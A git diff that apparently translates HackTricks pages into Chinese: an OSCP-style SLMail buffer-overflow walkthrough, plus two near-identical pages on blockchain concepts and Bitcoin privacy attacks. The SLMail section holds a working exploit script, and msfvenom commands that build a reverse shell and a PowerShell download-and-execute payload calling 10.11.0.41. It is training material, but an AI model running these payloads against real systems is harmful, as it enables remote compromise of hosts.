initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## ARM64 示例 -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +在 ARM64 中这完全没有变化,因为局部变量也在栈中管理,你可以 [**查看这个例子**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) 来了解这一点。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..7978d796c 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **开始安装 SLMail 服务** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## 重启 SLMail 服务 +每次你需要 **重启 SLMail 服务** 时,可以使用 Windows 控制台来完成: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## 非常基础的 Python 利用模板 ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **更改 Immunity Debugger 字体** -## **Change Immunity Debugger Font** +前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **将进程附加到 Immunity Debugger:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**然后按下 START 按钮** -## **Send the exploit and check if EIP is affected:** +## **发送漏洞利用并检查 EIP 是否受到影响:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +每次你中断服务时,都应该重新启动它,如本页开头所示。 -## Create a pattern to modify the EIP +## 创建一个模式以修改 EIP -The pattern should be as big as the buffer you used to broke the service previously. +该模式应与您之前用于中断服务的缓冲区大小相同。 ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +更改漏洞的缓冲区并设置模式,然后启动漏洞。 -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +应该出现一个新的崩溃,但具有不同的 EIP 地址: ![](<../images/image (636).png>) -Check if the address was in your pattern: +检查该地址是否在您的模式中: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +看起来**我们可以在缓冲区的偏移量 2606 修改 EIP**。 -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +检查一下修改漏洞的缓冲区: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +使用这个缓冲区,EIP 崩溃应该指向 42424242 ("BBBB") ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +看起来它正在工作。 -## Check for Shellcode space inside the stack +## 检查堆栈中的 Shellcode 空间 -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B 应该足够用于任何强大的 shellcode。 +让我们更改缓冲区: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +启动新的漏洞利用并检查 EBP 和有效 shellcode 的长度 ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +你可以看到,当漏洞被触发时,EBP 指向 shellcode,并且我们有很多空间在这里放置 shellcode。 -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +在这种情况下,我们有 **从 0x0209A128 到 0x0209A2D6 = 430B。** 足够。 -## Check for bad chars - -Change again the buffer: +## 检查坏字符 +再次更改缓冲区: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +坏字符从 0x01 开始,因为 0x00 几乎总是坏的。 -The badchars starts in 0x01 because 0x00 is almost always bad. +重复执行利用这个新缓冲区,删除被发现无用的字符: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +例如: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +在这种情况下,你可以看到 **你不应该使用字符 0x0A**(由于字符 0x09,内存中没有保存任何内容)。 ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +在这种情况下,你可以看到 **字符 0x0D 被避免**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## 找到 JMP ESP 作为返回地址 +使用: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +您将**列出内存映射**。搜索一些具有以下特征的 DLL: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +现在,在此内存中,您应该找到一些 JMP ESP 字节,要做到这一点,请执行: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**然后,如果找到某个地址,选择一个不包含任何坏字符的地址:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**在这种情况下,例如:\_0x5f4a358f**\_ +## 创建 shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +如果漏洞没有按预期工作(你可以通过 ImDebg 看到 shellcode 已经到达),尝试创建其他 shellcode(使用 msfvenom 为相同参数创建不同的 shellcode)。 -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**在 shellcode 开头添加一些 NOPS**,并使用它和返回地址来 JMP ESP,完成漏洞利用: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> 有些 shellcode 会 **自我覆盖**,因此在 shellcode 之前始终添加一些 NOP 是很重要的。 -## Improving the shellcode - -Add this parameters: +## 改进 shellcode +添加以下参数: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..1e4e895af 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## 基本概念 -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介。 +- **去中心化应用(dApps)** 基于智能合约,具有用户友好的前端和透明、可审计的后端。 +- **代币与币** 的区别在于,币作为数字货币,而代币在特定上下文中代表价值或所有权。 +- **实用代币** 授予对服务的访问权限,而 **安全代币** 表示资产所有权。 +- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。 +- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。 -## Consensus Mechanisms +## 共识机制 -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +共识机制确保区块链上安全和一致的交易验证: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **工作量证明(PoW)** 依赖计算能力进行交易验证。 +- **权益证明(PoS)** 要求验证者持有一定数量的代币,相比于PoW减少能耗。 -## Bitcoin Essentials +## 比特币基础知识 -### Transactions +### 交易 -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的所有者可以发起转账。 -#### Key Components: +#### 关键组成部分: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **多重签名交易** 需要多个签名来授权交易。 +- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。 -### Lightning Network +### 闪电网络 -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链。 -## Bitcoin Privacy Concerns +## 比特币隐私问题 -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +隐私攻击,如 **共同输入所有权** 和 **UTXO找零地址检测**,利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。 -## Acquiring Bitcoins Anonymously +## 匿名获取比特币 -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以提高隐私。 -# Bitcoin Privacy Atacks +# 比特币隐私攻击 -# Summary of Bitcoin Privacy Attacks +# 比特币隐私攻击总结 -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。 -## **Common Input Ownership Assumption** +## **共同输入所有权假设** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +由于涉及的复杂性,来自不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。 -## **UTXO Change Address Detection** +## **UTXO找零地址检测** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +UTXO,或 **未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私。 -### Example +### 示例 -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +为了解决这个问题,混合服务或使用多个地址可以帮助模糊所有权。 -## **Social Networks & Forums Exposure** +## **社交网络与论坛曝光** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联**。 -## **Transaction Graph Analysis** +## **交易图分析** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接。 -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **不必要输入启发式(最优找零启发式)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零。 +### 示例 ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析。 -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **强制地址重用** -## **Forced Address Reuse** +攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入结合,从而将地址链接在一起。 -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### 正确的钱包行为 -### Correct Wallet Behavior +钱包应避免使用在已经使用过的空地址上收到的币,以防止这种隐私泄露。 -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **其他区块链分析技术** -## **Other Blockchain Analysis Techniques** +- **确切的支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。 +- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。 +- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件以及可能的找零地址。 +- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。 -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **流量分析** -## **Traffic Analysis** +通过监控网络流量,攻击者可能将交易或区块与IP地址关联,从而危及用户隐私。如果一个实体运营多个比特币节点,这种情况尤其明显,因为这增强了他们监控交易的能力。 -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## 更多 -## More +有关隐私攻击和防御的全面列表,请访问 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)。 -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# 匿名比特币交易 -# Anonymous Bitcoin Transactions +## 匿名获取比特币的方法 -## Ways to Get Bitcoins Anonymously +- **现金交易:** 通过现金获取比特币。 +- **现金替代品:** 购买礼品卡并在线兑换比特币。 +- **挖矿:** 通过挖矿获得比特币是最私密的方法,尤其是单独进行时,因为挖矿池可能知道矿工的IP地址。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **盗窃:** 理论上,盗窃比特币可能是另一种匿名获取比特币的方法,尽管这是非法的且不推荐。 -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## 混合服务 -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +通过使用混合服务,用户可以**发送比特币**并接收**不同的比特币作为回报**,这使得追踪原始所有者变得困难。然而,这需要对服务的信任,以确保其不保留日志并实际返回比特币。替代的混合选项包括比特币赌场。 ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** 将来自不同用户的多个交易合并为一个,复杂化了任何试图将输入与输出匹配的过程。尽管其有效性,具有独特输入和输出大小的交易仍然可能被追踪。 -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +可能使用CoinJoin的示例交易包括 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 和 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +有关更多信息,请访问 [CoinJoin](https://coinjoin.io/en)。有关以太坊上的类似服务,请查看 [Tornado Cash](https://tornado.cash),它通过矿工的资金匿名化交易。 ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +**PayJoin**(或P2EP)是CoinJoin的一种变体,在两个参与方(例如,客户和商家)之间伪装交易为常规交易,而没有CoinJoin特有的相等输出特征。这使得检测变得极其困难,并可能使交易监控实体使用的共同输入所有权启发式失效。 ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +像上面这样的交易可能是 PayJoin,增强隐私,同时与标准比特币交易无异。 -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin 的使用可能会显著破坏传统监控方法**,使其在追求交易隐私方面成为一个有前景的发展。 -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# 加密货币隐私的最佳实践 -# Best Practices for Privacy in Cryptocurrencies +## **钱包同步技术** -## **Wallet Synchronization Techniques** +为了维护隐私和安全,与区块链同步钱包至关重要。有两种方法脱颖而出: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **全节点**:通过下载整个区块链,全节点确保最大隐私。所有曾经进行的交易都存储在本地,使对手无法识别用户感兴趣的交易或地址。 +- **客户端区块过滤**:此方法涉及为区块链中的每个区块创建过滤器,使钱包能够识别相关交易,而不向网络观察者暴露特定兴趣。轻量级钱包下载这些过滤器,仅在找到与用户地址匹配时才获取完整区块。 -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **利用 Tor 实现匿名性** -## **Utilizing Tor for Anonymity** +鉴于比特币在点对点网络上运行,建议使用 Tor 来掩盖您的 IP 地址,在与网络交互时增强隐私。 -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **防止地址重用** -## **Preventing Address Reuse** +为了保护隐私,使用新地址进行每笔交易至关重要。重用地址可能会通过将交易链接到同一实体而危及隐私。现代钱包通过其设计来阻止地址重用。 -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **交易隐私策略** -## **Strategies for Transaction Privacy** +- **多笔交易**:将支付拆分为几笔交易可以模糊交易金额,从而阻止隐私攻击。 +- **避免找零**:选择不需要找零输出的交易可以通过破坏找零检测方法来增强隐私。 +- **多个找零输出**:如果无法避免找零,生成多个找零输出仍然可以改善隐私。 -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **门罗币:匿名性的灯塔** -# **Monero: A Beacon of Anonymity** +门罗币满足数字交易中对绝对匿名性的需求,为隐私设定了高标准。 -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **以太坊:燃料费和交易** -# **Ethereum: Gas and Transactions** +## **理解燃料费** -## **Understanding Gas** +燃料费衡量在以太坊上执行操作所需的计算工作量,以 **gwei** 计价。例如,一笔交易的费用为 2,310,000 gwei(或 0.00231 ETH),涉及燃料限制和基本费用,并向矿工提供小费以激励他们。用户可以设置最高费用,以确保他们不会支付过多,超出部分会被退还。 -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **执行交易** -## **Executing Transactions** +以太坊中的交易涉及发送者和接收者,可以是用户或智能合约地址。它们需要支付费用并且必须被挖掘。交易中的关键信息包括接收者、发送者的签名、价值、可选数据、燃料限制和费用。值得注意的是,发送者的地址是从签名中推导出来的,因此在交易数据中不需要它。 -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +这些实践和机制是任何希望参与加密货币,同时优先考虑隐私和安全的人的基础。 -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## 参考文献 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..433e0b553 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## 基本概念 -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介。 +- **去中心化应用(dApps)** 基于智能合约构建,具有用户友好的前端和透明、可审计的后端。 +- **代币与币** 区分开来,币作为数字货币,而代币在特定上下文中代表价值或所有权。 +- **实用代币** 授予对服务的访问权限,**安全代币** 表示资产所有权。 +- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。 +- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。 -## Consensus Mechanisms +## 共识机制 -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +共识机制确保区块链上安全和一致的交易验证: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **工作量证明(PoW)** 依赖计算能力进行交易验证。 +- **权益证明(PoS)** 要求验证者持有一定数量的代币,相较于PoW减少能耗。 -## Bitcoin Essentials +## 比特币基础知识 -### Transactions +### 交易 -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的拥有者可以发起转账。 -#### Key Components: +#### 关键组件: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **多重签名交易** 需要多个签名来授权交易。 +- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。 -### Lightning Network +### 闪电网络 -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链。 -## Bitcoin Privacy Concerns +## 比特币隐私问题 -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +隐私攻击,如 **共同输入所有权** 和 **UTXO找零地址检测**,利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。 -## Acquiring Bitcoins Anonymously +## 匿名获取比特币 -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以增强隐私。 -# Bitcoin Privacy Atacks +# 比特币隐私攻击 -# Summary of Bitcoin Privacy Attacks +# 比特币隐私攻击总结 -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。 -## **Common Input Ownership Assumption** +## **共同输入所有权假设** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +由于涉及的复杂性,不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。 -## **UTXO Change Address Detection** +## **UTXO找零地址检测** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +UTXO,或 **未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到一个新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私。 -### Example +### 示例 -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +为减轻此问题,混合服务或使用多个地址可以帮助模糊所有权。 -## **Social Networks & Forums Exposure** +## **社交网络与论坛曝光** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联**。 -## **Transaction Graph Analysis** +## **交易图分析** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接。 -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **不必要输入启发式(最佳找零启发式)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零。 +### 示例 ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析。 -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **强制地址重用** -## **Forced Address Reuse** +攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入合并,从而将地址链接在一起。 -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### 正确的钱包行为 -### Correct Wallet Behavior +钱包应避免使用在已经使用过的空地址上收到的硬币,以防止这种隐私泄露。 -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **其他区块链分析技术** -## **Other Blockchain Analysis Techniques** +- **确切支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。 +- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。 +- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件,并可能识别找零地址。 +- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。 -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## 